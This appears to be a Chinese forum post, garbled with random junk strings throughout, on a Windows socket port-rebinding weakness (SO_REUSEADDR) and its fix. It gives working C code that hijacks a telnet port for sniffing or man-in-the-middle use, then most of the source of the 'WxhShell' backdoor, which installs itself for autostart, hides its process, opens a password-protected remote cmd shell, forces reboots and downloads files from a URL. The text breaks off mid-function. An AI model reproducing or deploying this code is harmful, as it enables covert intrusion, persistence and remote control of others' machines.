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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: T1AD(r\W5 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8AL`<8$ BUB$k7{z saddr.sin_family = AF_INET; &iR3]FNI -{[5P! saddr.sin_addr.s_addr = htonl(INADDR_ANY); hZ@frbuowk WjLy7& bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); N?7MYP ;PM(q<@\ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 !YX$4_I Kz>bfq7 这意味着什么?意味着可以进行如下的攻击: <% #Dwo} <&JK5$l<X 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 } )DE Xc8r[dX 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) u~b;m
6L5j 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 A#NJ8_ ; '6`hZ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 b,C2(?hg h[eC i 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 /`6Y-8e2 3s%Kw,z 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 0PdeK'7 U)CGRh8%+ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 _{Z!$q6, Qc4r?7S< #include @nWhUH% #include @6["A'h #include FR*CiaD1 #include wPr9N}rf DWORD WINAPI ClientThread(LPVOID lpParam); b0VEMu81k int main() #3VOC#. { hHA!.u4& WORD wVersionRequested; 5;v_?M!UCK DWORD ret; da[=d*I. WSADATA wsaData; WZ@hP'Zc BOOL val; 8U8%XI EJ SOCKADDR_IN saddr; ]S SOCKADDR_IN scaddr; 1R-1#<a>& int err; 1`sLbPW SOCKET s; Ow"e3]}Mt SOCKET sc; hw5NHZ I' int caddsize; R!)3{cjU@ HANDLE mt; ,|}}Ml DWORD tid; fk*I}pDx wVersionRequested = MAKEWORD( 2, 2 ); k`we_$/Gw err = WSAStartup( wVersionRequested, &wsaData ); 9-/u _$ if ( err != 0 ) { }yzCq+ printf("error!WSAStartup failed!\n"); 9ZJn 8ki return -1; s!IX3rz } &u`]Zn saddr.sin_family = AF_INET; !V^wq]D2 ayGcc` //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ohJo1}{ REg&[e+% saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); olv0w;s saddr.sin_port = htons(23); K0aT(Rc
e if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) C^IPddw> { WqO4_;X6/ printf("error!socket failed!\n"); m{gw:69h return -1; wPE\?en } !qu/m B val = TRUE; &wa2MNCG8 //SO_REUSEADDR选项就是可以实现端口重绑定的 \<aR^Sj. if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ]5O]=^
u0 { 56?RFnZ&j printf("error!setsockopt failed!\n"); H/2dVUU return -1; y9Q#%a8V } NNxzZ!q! //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; M!wa } //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 *t{^P*pc //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 eH_< <Xh!v XiL[1JM
if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ^O3i)GO { 3iIURSG@ ret=GetLastError(); |}o6N5) printf("error!bind failed!\n"); |SfCuV#g/< return -1; %a:>3!
+ } 4aiI&, listen(s,2); KG=57=[ while(1) :V0sKg|sS { z*)kK caddsize = sizeof(scaddr); *.6m,QqJ( //接受连接请求 Q_)$Ha{>H, sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); `$9sYv 2R if(sc!=INVALID_SOCKET) iv
~<me0F { `]=0oDG:1! mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); MwC} if(mt==NULL) #O lPnP 2 { )A$xt)}P!{ printf("Thread Creat Failed!\n"); Z,oCkv("n break; hkB|rhJgm } :6qt[(<" } \4KV9wm CloseHandle(mt); 7Bym? } T0 {X, closesocket(s); +1]A$|qyW WSACleanup(); |=:<[FU return 0; -%dBZW\u2 } sp&gw XPG DWORD WINAPI ClientThread(LPVOID lpParam) DLN zH { F_Gc_eT SOCKET ss = (SOCKET)lpParam; @1A.$: SOCKET sc; vSy[lB|)24 unsigned char buf[4096]; Z7NR%u_|[ SOCKADDR_IN saddr; c,:nWf long num; ,h9?o DWORD val; /E!N:g< DWORD ret; U4[GA4DZ //如果是隐藏端口应用的话,可以在此处加一些判断 D\| U_> //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 },@ex saddr.sin_family = AF_INET; @*E=O | saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ~RH)iI saddr.sin_port = htons(23); vY7@1_" if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *,zrg%8 { G+&pq printf("error!socket failed!\n"); 4peRbm return -1; k=cDPu - } ?AH B\S val = 100; (*_lLM@Cd if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) LLKYc y { <I#M^}` ret = GetLastError(); s\< @v7A return -1; 1Ko4O)L]& } J0imWluhQ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) hV+=hX<h { p1\mjM ret = GetLastError(); ^wD`sj<Qg return -1; o70] F } ^ FM if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 8rjD1< {
CvR-lKV< printf("error!socket connect failed!\n"); &KY!a0s closesocket(sc); [$F*R@,& closesocket(ss); 2m"cK^ return -1; $U7#3-' } p I~;3T:! while(1) Wffz&pR8
{ Abi(1nXdQ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 xI.0m //如果是嗅探内容的话,可以再此处进行内容分析和记录 !iq|sXs //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 BOh^oQh num = recv(ss,buf,4096,0); ]1pB7XL if(num>0) a6Joa&`dv send(sc,buf,num,0); vt nT else if(num==0) [9B1 %W break; !.-u'6e
num = recv(sc,buf,4096,0); Ndmw/ae if(num>0) pp@B]We send(ss,buf,num,0); 7>f"4r_r6< else if(num==0) ->X>h_k.Y break; -SfU.XlZl } =LODX29 closesocket(ss); :`Ep#[Wvo closesocket(sc); #@xB ?u-0q return 0 ; 2Y<]X7Ch: } Z zjCS2U
1D38T nI&p.i6 ========================================================== Fi;H 6Ol9P56j 下边附上一个代码,,WXhSHELL c/ih%xR h5pfmN\-5 ========================================================== sei2\l8q dGi
HO #include "stdafx.h" 5&h">_j N>,`TsUwW #include <stdio.h> ZHa>8x;Mjl #include <string.h> Yb4ku7} #include <windows.h> kY!zBk #include <winsock2.h> 9(nq 4HvI #include <winsvc.h> cs?WE9N #include <urlmon.h> 1_#;+S .}v" `>x #pragma comment (lib, "Ws2_32.lib") T1*.3_wtP #pragma comment (lib, "urlmon.lib") lixM0 cJv/)hRaz #define MAX_USER 100 // 最大客户端连接数 {=?(v`88 #define BUF_SOCK 200 // sock buffer -B9e&J
{K #define KEY_BUFF 255 // 输入 buffer RRB=JP{r \@WVeFr #define REBOOT 0 // 重启 dS3\P5D.*c #define SHUTDOWN 1 // 关机 1+WVh7gF eU@Mv5&6 #define DEF_PORT 5000 // 监听端口 5 7t.Ud 1kw*Q: #define REG_LEN 16 // 注册表键长度 g2m*Q% #define SVC_LEN 80 // NT服务名长度 HKJBR)T o5
fV,BJZO // 从dll定义API [U8/nT typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -egnMc67 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \~z$'3H` typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); LiV&47e*> typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); jx}'M$TA Btm_S\1 // wxhshell配置信息 N0Y4m_dm* struct WSCFG { y.J>}[\&x int ws_port; // 监听端口 }8#Ed;%K char ws_passstr[REG_LEN]; // 口令 bT&{8a int ws_autoins; // 安装标记, 1=yes 0=no ` =P_ed%&' char ws_regname[REG_LEN]; // 注册表键名 Mmu#hb|W char ws_svcname[REG_LEN]; // 服务名 H$C*&p char ws_svcdisp[SVC_LEN]; // 服务显示名 lFnYQab char ws_svcdesc[SVC_LEN]; // 服务描述信息 lTP#6zqfv char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~F@n `!c int ws_downexe; // 下载执行标记, 1=yes 0=no .pQ5lK(R char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" cS7\,/4S char ws_filenam[SVC_LEN]; // 下载后保存的文件名 kj[boxN WV.hQX9P }; b<~-s sL7a p\&/m // default Wxhshell configuration R"V90b Cf struct WSCFG wscfg={DEF_PORT, *bf 5A9 "xuhuanlingzhe", <{Y3}Q 1, NRJp8G Z%U "Wxhshell", ]6[+tpx "Wxhshell", 3CjixXaA$ "WxhShell Service", aG^E^^Y "Wrsky Windows CmdShell Service", H"8B4~*7H "Please Input Your Password: ", tEvDAI} 5 1, 7~XA92 " http://www.wrsky.com/wxhshell.exe", vm_]X{80; "Wxhshell.exe" W/xPVmnV };
-43>?m/a B I)@n:p // 消息定义模块 qvB{vU char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |cY,@X,X6 char *msg_ws_prompt="\n\r? for help\n\r#>"; ufIvvZ* char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; Cj-&L< char *msg_ws_ext="\n\rExit."; 1:](=%oM&k char *msg_ws_end="\n\rQuit."; x@Z{5w_a char *msg_ws_boot="\n\rReboot..."; #f24a?n| char *msg_ws_poff="\n\rShutdown..."; v$Fz^<Na char *msg_ws_down="\n\rSave to ";
T`fT[BaY #jg-q|nd char *msg_ws_err="\n\rErr!"; bUm%#a char *msg_ws_ok="\n\rOK!"; jaodcT0 _Ffg"xoC char ExeFile[MAX_PATH]; "WQ6[;&V int nUser = 0; ]zaTX?F: HANDLE handles[MAX_USER]; t-KicLr int OsIsNt;
_$c o Y .,xyE--;d SERVICE_STATUS serviceStatus; 3kC|y[.& SERVICE_STATUS_HANDLE hServiceStatusHandle; x4c|/}\)*
xm1di@ // 函数声明 pXO09L/nv int Install(void); /X.zt
` int Uninstall(void); $M,<=.oT int DownloadFile(char *sURL, SOCKET wsh); 4tLdqs int Boot(int flag); go AV+V7 void HideProc(void); J.R\h! int GetOsVer(void); 6384$mT,S int Wxhshell(SOCKET wsl); F +(S-Qk1 void TalkWithClient(void *cs); .ZF%$H int CmdShell(SOCKET sock); \{:A&X~\! int StartFromService(void); g^+p7G int StartWxhshell(LPSTR lpCmdLine); LxhS
9 (KyOo,a VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); B2Y.1mXq VOID WINAPI NTServiceHandler( DWORD fdwControl ); NL$z4m0 }k-8PG = // 数据结构和表定义 XdCP!iq*8 SERVICE_TABLE_ENTRY DispatchTable[] = E#:!&{O { = EFh*sp {wscfg.ws_svcname, NTServiceMain}, _MTZuhY {NULL, NULL} 2A~o)7JaZ }; \]f+{d-& j AOy3c // 自我安装 {:!>Y1w> int Install(void) gR# k' { M9R'ONYAa char svExeFile[MAX_PATH]; tUxH6IS HKEY key; 9gw;MFP)D strcpy(svExeFile,ExeFile); /Q(boY{ Vs l,u // 如果是win9x系统,修改注册表设为自启动 uc@4fn if(!OsIsNt) { ZN$%\,< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b`D]L/}pr RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (Q=o9o:b RegCloseKey(key); SkmTW@v if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -`XS2 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -_t4A * RegCloseKey(key); 8bdO-LJ9 return 0; R&.&x'< } 02t({>` } 4;Ucas6 } _-y1>{]H else { TYGI
f4z 56<U xIa~ // 如果是NT以上系统,安装为系统服务 /i>n1>~yn SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]-X6Cl if (schSCManager!=0) bpZA%{GS { uPl}NEwU| SC_HANDLE schService = CreateService &"K_R(kN ( :VP4: J^ schSCManager, __9FQ{Ra wscfg.ws_svcname, 7>gjq'0
wscfg.ws_svcdisp, W%>T{}4 SERVICE_ALL_ACCESS, K0j%\]\Tp SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , XyN
" Jr SERVICE_AUTO_START, g&y (- SERVICE_ERROR_NORMAL, zO"De~[9 svExeFile, S:j{R^$k NULL, %P s.r{%{ NULL, C @<T(`o NULL, i;9X_?QF NULL, 2_HIn NULL xA7~"q&u ); ;&6
{c if (schService!=0) yZNG>1N { o|h=M/ CloseServiceHandle(schService); oFP8s[B CloseServiceHandle(schSCManager); 85G-`T strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (+(@P*c1 strcat(svExeFile,wscfg.ws_svcname); o=7,U/{D! if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6ScB:8M RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); GB Yy^wjU RegCloseKey(key); ph5{i2U0 return 0; yYJ_;Va } v%T'!(0j/ } $?W2'Xm!V CloseServiceHandle(schSCManager); q}L`8(a } 5xdeuBEY8 } ?lD)J?j ;&CLb`<y return 1; g?"QahHG } 7!cLTq H;\C7w| // 自我卸载 q,)V0Ffe[| int Uninstall(void) V5ZC2H { I9G^T' W HKEY key; 0ex.~S_Oj4 J78.-J5 j0 if(!OsIsNt) { [k%hl`} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Wj,s/Yr: RegDeleteValue(key,wscfg.ws_regname); R&Nl!QTJj RegCloseKey(key); d]s^?=gM if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { asYk#;z\" RegDeleteValue(key,wscfg.ws_regname); ~;CNWJtcf( RegCloseKey(key); \ZADY.ha return 0; b/a\{ } /lUfxc4 } ;dUKFdKH} } nk tGO else { ZAfuW^r eg/itty SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ].xSX0YQ% if (schSCManager!=0) %:`v.AG { o]&q'>Rf SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /jJD
{ if (schService!=0) *]U`]!Esp { N\__a~'0p if(DeleteService(schService)!=0) { /5Qh*.(S CloseServiceHandle(schService); Qb?a[[3 CloseServiceHandle(schSCManager); !gW`xVGv return 0; KJQ8Yhq } @ywtL8"1~ CloseServiceHandle(schService); 9#U]?^DJ@ } ^OQP;5 #K CloseServiceHandle(schSCManager); ?SgFD4<~P } &zy%_U2% } AVDhgJv M^oL.' return 1; {Ia1H } <$-^^b(y N 5Om~D // 从指定url下载文件 )-!)D int DownloadFile(char *sURL, SOCKET wsh) ~xxq.rL" { <e BmCrJ HRESULT hr; Rs"=o>Qu char seps[]= "/"; 6agG*x char *token; 8a8a:d char *file; k@lJ8(i^qU char myURL[MAX_PATH]; \0 h>!u char myFILE[MAX_PATH]; 18NnXqe-m ")MHP~ ? strcpy(myURL,sURL); kbb!2`F!% token=strtok(myURL,seps); gq+0t while(token!=NULL) >I4BysR { &T, ,fz$ file=token; I1>f2/$z* token=strtok(NULL,seps); Cydo~/ } u|}\Af #3
E"Ame GetCurrentDirectory(MAX_PATH,myFILE); ]2f-oz*hU strcat(myFILE, "\\"); z{OL+-OY strcat(myFILE, file); B(Yg1jAe send(wsh,myFILE,strlen(myFILE),0); z8a{M$-Q send(wsh,"...",3,0); .B~yI3D`M hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); B)@Xz<Q if(hr==S_OK) KdozB!\ return 0; aPxSC>p else 9~Sa7P return 1; ]>)shH=Yx l[[`-f8j } H][TH2H1
:MF`q.:X // 系统电源模块 kum@cA int Boot(int flag) f3!Oc { xSN;vrLHR HANDLE hToken; N~/X.D4e# TOKEN_PRIVILEGES tkp; rR@]`@9 ]_B<K5 if(OsIsNt) { %%X/gvaJ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); yWRIh*>nE LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); YM;ro5_KF tkp.PrivilegeCount = 1; c`3`}&g# tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; C0w_pu AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ux',ma1JK if(flag==REBOOT) { (ww4( if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) KB~[nZs7 return 0;
'v Vt^h2 } b&`~%f- else { >(H:eRKq if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) x/{-U05 return 0; -5og)ZGVUA } :a&M]+! } ]g$ky.; else { 46T(1_Xt~ if(flag==REBOOT) { y g(Na if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Ynf "g#( return 0; LkYcFD } aOg9Dqtg)f else { YvG$2F |_) if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &J/!D# return 0; Y~*p27@fR } oO[eer_S- } qmpT G:+ AoGpM,W]5 return 1; _hV34:1F } _)vX_gCi ]vcT2lr] // win9x进程隐藏模块 NaoOgZ? void HideProc(void) _`=qc/-0 { V#,|#2otZ , Zie2I?q HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Z*3RI5)dx if ( hKernel != NULL ) W!ug^2" { {nSgiqd"28 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~ a2A"#f ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ]v:,<=S FreeLibrary(hKernel); TVvE0y(9 } Hvz;[! %fld<O return; _gK}Gi?| } ZJbaioc\ -{*3<2rFK // 获取操作系统版本 ]+ub
R; int GetOsVer(void) 1^NC=IS9z { 6%t6u3 OSVERSIONINFO winfo; h-(NWxK+ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); tpzWi
W/ GetVersionEx(&winfo); V+sZ;$ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ozS'n]8* return 1; S`[(y?OF? else &'e+`\ return 0; aO |@w"p8 } =4x6v< \``w>Xy8 // 客户端句柄模块 F',1R"/} int Wxhshell(SOCKET wsl) PQ!'< { "(H%m9K SOCKET wsh; =1>G*
, struct sockaddr_in client; c9H6\ & DWORD myID; 7C2Xy>d~ |;V-;e* while(nUser<MAX_USER) ,>(X}Q
{ zuMz6#aCC8 int nSize=sizeof(client); ByoI+n* U wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -[>J"l if(wsh==INVALID_SOCKET) return 1; pT+OPOSR e 0$m<5 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); OFv-bb*YZ if(handles[nUser]==0) ;X;x.pi closesocket(wsh); xK[[b else :1t&>x=T nUser++; p{qA%D } 8M3DG=D WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); yp]vDm Z 5 .cfI[ return 0;
nmL|v } xZq, kP^ ?gU-a // 关闭 socket Tl_o+jj void CloseIt(SOCKET wsh) #.]W>hN8\ { x=K'Jj closesocket(wsh); "9c!p nUser--; ]EN&EA"< ExitThread(0); 5't9/8i } U\{I09@E 0 wuCZz{c7 // 客户端请求句柄 *.$ov<E. void TalkWithClient(void *cs) hn6'$P { ~tNk\Kkv g~|x^d^;| SOCKET wsh=(SOCKET)cs; =<M>fJ) char pwd[SVC_LEN]; o}wRgG char cmd[KEY_BUFF]; [D?xd/G char chr[1]; %PR,TWe int i,j; e7Gb7c~ D ][I#vh while (nUser < MAX_USER) { Q.8^F mT j if(wscfg.ws_passstr) { qncZpXw^ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); us8ce+ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H-WNu+ //ZeroMemory(pwd,KEY_BUFF); UK8k`;^KI i=0; dj,lbUL while(i<SVC_LEN) { 3uvl'1(%J rP6k} // 设置超时 7 oYD;li$k fd_set FdRead; kd
p*6ynD struct timeval TimeOut; (/>
yfL]J FD_ZERO(&FdRead); {c1wJ FD_SET(wsh,&FdRead); LBpAR| TimeOut.tv_sec=8; E>QEI; TimeOut.tv_usec=0; URh5ajoR% int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @[/!e`]+ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %<q"&]e, )5<dmK@ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Vz5<Gr pwd =chr[0]; DAN"&& if(chr[0]==0xd || chr[0]==0xa) { nu|?F\o! pwd=0; >NpW$P{' break; @6U&7! } u7p:6W i++; 0eCjK. } v!mP9c
j phwq#AxQ // 如果是非法用户,关闭 socket X5tV Xd if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Df1eHa5-7 } 4uVyf^f\]f -x/g+T- send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~F~hgVS5 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ov>`MCS,v zlh\P` while(1) { ws]d,] BIvz55g ZeroMemory(cmd,KEY_BUFF); Y(R],9h8 `lO/I+8 // 自动支持客户端 telnet标准 b DF_ j=0; V/"41 while(j<KEY_BUFF) { >\5ZgC if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uMC0XE|S cmd[j]=chr[0]; z8};(I>) if(chr[0]==0xa || chr[0]==0xd) { i)ibDrX!I cmd[j]=0; J2`OJsMwWe break; O_SM! !, } 6& 9q6IIy j++; ?N%5c%oF
} mvtuV` Ga* // 下载文件
Z\$!: if(strstr(cmd,"http://")) { 4T<dI6I0 send(wsh,msg_ws_down,strlen(msg_ws_down),0); ! }awlv; if(DownloadFile(cmd,wsh)) h/l?,7KHI send(wsh,msg_ws_err,strlen(msg_ws_err),0); N4_V else #|e5i9l*B send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KEr?&e } k.F(*kh else { IZ_ B $mo 9l7 youZ] switch(cmd[0]) { Q[Tbdc%1EG Nk>6:Ho{G // 帮助 ZOzyf/?. case '?': { rmnnV[@o send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5YiBw|Z7 " break; N<lf,zGw
} :Z5kiEwYM // 安装 >LB x\/ case 'i': { h6Hop mWVx if(Install()) odq3@
ziO send(wsh,msg_ws_err,strlen(msg_ws_err),0); l_=kW!l else <gr2k8m6$ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m9m~ 2 break; z;i4F.p } x\(yjNZH // 卸载 TGPHjSZ1 case 'r': { \cq.M/p if(Uninstall()) q/YO5>s15 send(wsh,msg_ws_err,strlen(msg_ws_err),0); =0mGfTc else o Bp.|8- send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hB*3Py27L break; e-o$bf% } !]WC~#|{B // 显示 wxhshell 所在路径 4>[tjz.?k case 'p': { B.[5N;c char svExeFile[MAX_PATH]; ["?WVXCF8| strcpy(svExeFile,"\n\r"); < 'qtqUL\ strcat(svExeFile,ExeFile); kI$p~ send(wsh,svExeFile,strlen(svExeFile),0); V=H}Ecd break; `_+m3vHG } QmB,~x{j> // 重启 ]G2%VKkr case 'b': { cE]#23 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @sb00ad2q if(Boot(REBOOT)) <b;Oap3 send(wsh,msg_ws_err,strlen(msg_ws_err),0); \A3yM{G~+ else { 4?&CK closesocket(wsh); ?{6[6T ExitThread(0); wZUR } g|l|)T.s break; I*)eP|| } j~Xn\~*n // 关机
/-)|dP case 'd': { =Hs~fHa) send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |k9A*7I if(Boot(SHUTDOWN)) \OXKK<^$uK send(wsh,msg_ws_err,strlen(msg_ws_err),0); h?:Y\DlU' else { pV))g
e\ closesocket(wsh); y7s.6i}7 ExitThread(0); <ByDT$E_ } T)B1V,2j= break; S$I:rbc } P%Ux-0& // 获取shell #TSLgV'U case 's': { KGX?\#- CmdShell(wsh); jNNl5. closesocket(wsh); SB[,}h<u1 ExitThread(0); YB} _zuZ4& break; {N,w5!cP } $bKa"T* // 退出 pf`li]j'V case 'x': { /_554q send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); E|.D CloseIt(wsh); 3?uP$(l break; 2WOdTM{u } =kLg)a | // 离开 {:enoV" case 'q': { F'#e]/V1 send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2h6F j& closesocket(wsh); (Qq$ql27 WSACleanup(); vP'R7r2Yx exit(1); uS|Zkuk[! break; u;:N 4d=f' } <s#}`R.#2 } ;@d<* } W:>RstbnMG %]Nz54! // 提示信息 rd1&?X if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (|5g`JDG } q#Qr@Jf } GW{Nc!) TniZ!ud return; Rb~Kyy$ } I|O~F e. ]3QQ"HLcp // shell模块句柄 _L!"3 int CmdShell(SOCKET sock) D\V}Eo';6 { Krq^|DY STARTUPINFO si; .+B)@? ZeroMemory(&si,sizeof(si)); g%=\Wiit] si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; nw5#/5xw si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; oaBfq8,; PROCESS_INFORMATION ProcessInfo; 8a)EL*LH` char cmdline[]="cmd"; +-~;?wA CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 28BiuxVW return 0; >k\*NW } f3l >26 XLbrE|0A? // 自身启动模式 bt&vik _ int StartFromService(void) Hab9~v ] { O.K8$ typedef struct KQ9:lJKr { !P92e1 DWORD ExitStatus; sfrh+o57 DWORD PebBaseAddress; 6y5arP*6e DWORD AffinityMask; {2:H`|x DWORD BasePriority; %r!# ULONG UniqueProcessId; H[Pb Wy: ULONG InheritedFromUniqueProcessId; "msg./iC } PROCESS_BASIC_INFORMATION; kb7\qH!n KuI>:i; PROCNTQSIP NtQueryInformationProcess; yMSRUQ
x dF.T6b static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; eNNgxQw>m static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 329xo03-[ WAdl@){ HANDLE hProcess; FUcs=7c PROCESS_BASIC_INFORMATION pbi; v}Aw!Dv/ G+g`=7 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ixec]UOS if(NULL == hInst ) return 0; }5] s+m )v-* Wr eS g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \iE'E g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Om1z
